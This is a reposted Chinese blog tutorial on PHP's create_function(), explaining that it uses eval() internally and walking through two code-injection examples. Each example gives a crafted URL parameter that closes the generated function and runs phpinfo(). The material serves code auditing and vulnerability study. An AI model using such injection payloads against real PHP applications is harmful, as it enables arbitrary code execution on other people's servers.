返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >PHP代码 之create_function()函数
  • 245
分享到

PHP代码 之create_function()函数

php 2023-09-01 20:09:59 245人浏览 薄情痞子
摘要

目录 前言 create_function()简介 函数功能: 代码注入实例: 0x01: 0x02 前言 一直遇到过这个 函数,但是不知道怎么利用  这回学习一下这个函数 create_function(

目录

前言

create_function()简介

函数功能:

代码注入实例:

0x01:

0x02


前言

一直遇到过这个 函数,但是不知道怎么利用  这回学习一下这个函数

create_function()简介

适用 PHP4>4.0.1   PHP 5   php7

语法:create_function(string $args,  string $code)string $args 声明的函数变量部分string $code 执行的方法代码部分

函数功能:

 

分析:

create_function() 会创造一个匿名函数 (lambda样式)  此处创建了一个叫  lamvda_1 的函数, 在第一个 echo 中 显示名字, 并在第二个echo 语句中执行了 此函数。

create_function() 函数 会在内部 执行 eval()  , 我们发现是执行了 后面的 return 语句,属于create_function()  中的第二个参数 string $code  的位置

因此,上述匿名函数的创建与执行过程等价于:

create_function( ) 函数在代码审计中,主要用来查找项目中的代码注入和回调后门的情况,熟悉了执行流程, 可以实现对代码注入的 payload 构造,从而 进行漏洞挖掘和找出存在缺陷

代码注入实例:

0x01:

payload:

Http://localhost/test1.php?sort_by=%27%22]);}phpinfo();/*

 还原实际的组合过程:

$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*

匿名函数实际的执行:

function niming($a,$b){return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*}

$sort_by 是我们传入的值。

回车换行整理一下:

function niming($a,$b){return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*}

0x02

payload:

http://localhost/test2.php?c=1));}phpinfo();/*

还原实际的组合过程:

$lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));");

匿名函数实际的执行:

 function ft($a,$b){    return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*)); }

换行整理:

 function ft($a,$b){    return (strlen($a)-strlen($b)+" . "strlen(1));    }    phpinfo();    /*)); }

来源地址:https://blog.csdn.net/snowlyzz/article/details/127171931

--结束END--

本文标题: PHP代码 之create_function()函数

本文链接: https://lsjlt.com/news/389419.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • PHP代码 之create_function()函数
    目录 前言 create_function()简介 函数功能: 代码注入实例: 0x01: 0x02 前言 一直遇到过这个 函数,但是不知道怎么利用  这回学习一下这个函数 create_function(...
    99+
    2023-09-01
    php
  • PHP函数的代码扫描器函数
    随着互联网的快速发展,Web应用程序的开发需求不断提高。而PHP作为一种强大而流行的Web编程语言,被广泛应用于许多Web应用程序的开发中。在开发Web应用程序的过程中,开发人员通常会写许多PHP函数,这些函数是实现应用程序功能的关键代码。...
    99+
    2023-05-18
    函数 PHP函数 代码扫描器
  • PHP函数的代码审计
    PHP函数是一种重要的编程语言特性,它可以帮助程序员大大提高编程效率和程序的可维护性。但是,在使用PHP函数的过程中,我们也需要对它们进行代码审计,以确保程序的安全性和可靠性。本文将从以下几个方面介绍PHP函数的代码审计:一、PHP函数的基...
    99+
    2023-05-18
    代码审计 PHP函数 函数审计
  • 后端代码审计——PHP函数及PHP危险函数
    文章目录 PHP函数1. 自定义函数1.1 函数语言结构1.2 函数传参1.3 函数调用1.3.1 函数调用过程 1.4 变量范围1.4.1 局部变量1.4.2 全局变量 1....
    99+
    2023-09-10
    php 网络 安全
  • PHP-代码执行函数-命令执行函数
    目录 代码执行函数: 1.eval()函数 2.assert()  函数 3.call_user_func()函数  4- create_function()函数  5- array_map()函数 6- call_user_func_ar...
    99+
    2023-09-09
    php 开发语言 网络安全
  • PHP函数使用实例代码分析
    今天小编给大家分享一下PHP函数使用实例代码分析的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来了解一下吧。PHP检测IP是否内网地址、保...
    99+
    2023-07-05
  • 如何使用 PHP 函数调试代码
    php 调试函数概述:var_dump(): 显示变量的详细表示。print_r(): 输出更简洁的变量表示。xdebug: 提供高级调试功能,如设置断点和查看堆栈跟踪。 如何使用 P...
    99+
    2024-04-12
    php 调试代码
  • 函数的谜团:破解 PHP 函数中的隐秘代码
    引言 PHP 函数是语言中强大的基本构建块,它们使我们能够将代码块分组并重用它们。但是,在这些函数的表面之下潜藏着一些不为人知的秘密,等待着我们去探索。本文将深入 PHP 函数的内部,揭开这些隐秘的代码。 闭包:捕捉外围作用域的匿名函数 ...
    99+
    2024-03-02
    PHP 函数、闭包、可变参数
  • PHP函数的迭代器函数
    随着现代编程语言的不断发展,编程的效率和功能性也不断提高,其中PHP作为一种广泛使用的服务器端脚本语言,也在不断地更新和完善其自身的功能列表。PHP函数的迭代器函数就是其中的一种新功能,为PHP程序员提供了更加灵活和高效的编程方式。在本文中...
    99+
    2023-05-19
    迭代器 PHP函数 迭代器函数
  • YOLOV5代码详解之损失函数的计算
    目录摘要:1、位置损失2、置信度损失和类损失总结摘要: 神经网络的训练的主要流程包括图像输入神经网络, 得到模型的输出结果,计算模型的输出与真实值的损失, 计算损失值的梯度,最后用梯...
    99+
    2024-04-02
  • Golang函数性能优化之代码profiling实践
    通过代码 profiling,我们可以分析函数执行时间和资源使用情况,找出性能瓶颈并进行优化。使用 runtime/pprof 工具生成 profiling 报告。使用 pprof 工具...
    99+
    2024-04-17
    golang函数 golang
  • PHP 函数中如何避免代码重复?
    使用 php 函数避免代码重复:利用内建函数(例如字符串处理)创建自定义函数封装可重复使用的代码验证用户输入时运用自定义函数验证输入有效性 使用 PHP 函数避免代码重复 在大型代码库...
    99+
    2024-04-27
    php 重复代码
  • PHP 函数中如何实现代码复用?
    php 函数可通过组合代码块实现代码复用。函数定义包含函数名、参数和函数体。调用函数时,使用函数名和参数。命名空间可防止名称冲突。代码复用优点包括模块化、可维护性、代码简洁和效率。 P...
    99+
    2024-04-27
    代码复用 封装
  • PHP 函数扩展的代码维护技巧
    PHP 函数扩展的代码维护技巧 为了确保 PHP 函数扩展的长期稳定和可维护性,遵循一些代码维护最佳实践至关重要。以下是一些实用的技巧,以及真实的案例演示: 1. 模块化设计 将扩展拆...
    99+
    2024-04-26
    php 代码维护 git
  • 如何保障 PHP 函数的代码安全?
    为了保障 php 函数代码安全,建议遵循以下最佳实践:验证用户输入、对输出数据进行编码、限制函数执行、禁用不必要的功能、使用参数化查询、使用安全框架。实战案例中,验证用户提交的姓名时,需...
    99+
    2024-04-30
    php 代码安全 mysql 表单提交 lsp
  • PHP常见的命令执行函数与代码执行函数
    目录 代码执行函数: 1. eval() GET和POST传参的区别  2. assert() 3. call_user_func() 4. create_function() 5. array_map() 6. call_user_fun...
    99+
    2023-09-05
    php 网络安全 web安全
  • 函数的交响曲:协调 PHP 函数打造和谐代码
    在 PHP 开发中,函数扮演着至关重要的角色。如同音乐中的交响曲,函数的协调搭配是打造和谐代码的关键,提升代码的可重用性、可维护性和可读性。本文将深入探讨 PHP 函数的最佳实践,帮助您谱写出代码的动人乐章。 模块化与重用性 函数的首要目...
    99+
    2024-03-02
    函数、代码和谐、PHP 开发、可重用性、可维护性
  • C++中如何在main函数之前运行代码
    这篇文章给大家分享的是有关C++中如何在main函数之前运行代码的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。在main函数之前运行代码通畅全局对象是在程序开始之前之构造的,这个函数也会在main()开始之前返回...
    99+
    2023-06-05
  • 常用到的PHP函数代码段有哪些
    这篇文章主要介绍常用到的PHP函数代码段有哪些,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!1. PHP可阅读随机字符串此代码将创建一个可阅读的字符串,使其更接近词典中的单词,实用且具有密码验证功能。 fu...
    99+
    2023-06-17
  • PHP 的代码简洁之道(Clean Code PHP)
    介绍 Robert C.Martin’s 的 软件工程师准则 Clean Code 同样适用于 PHP。它并不是一个编码风格指南,它指导我们用 PHP 写出具有可读性,可复用性且可分解的代码。 并非所有的准则都必须严格遵守...
    99+
    2023-09-05
    php Clean Code PHP Powered by 金山文档
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作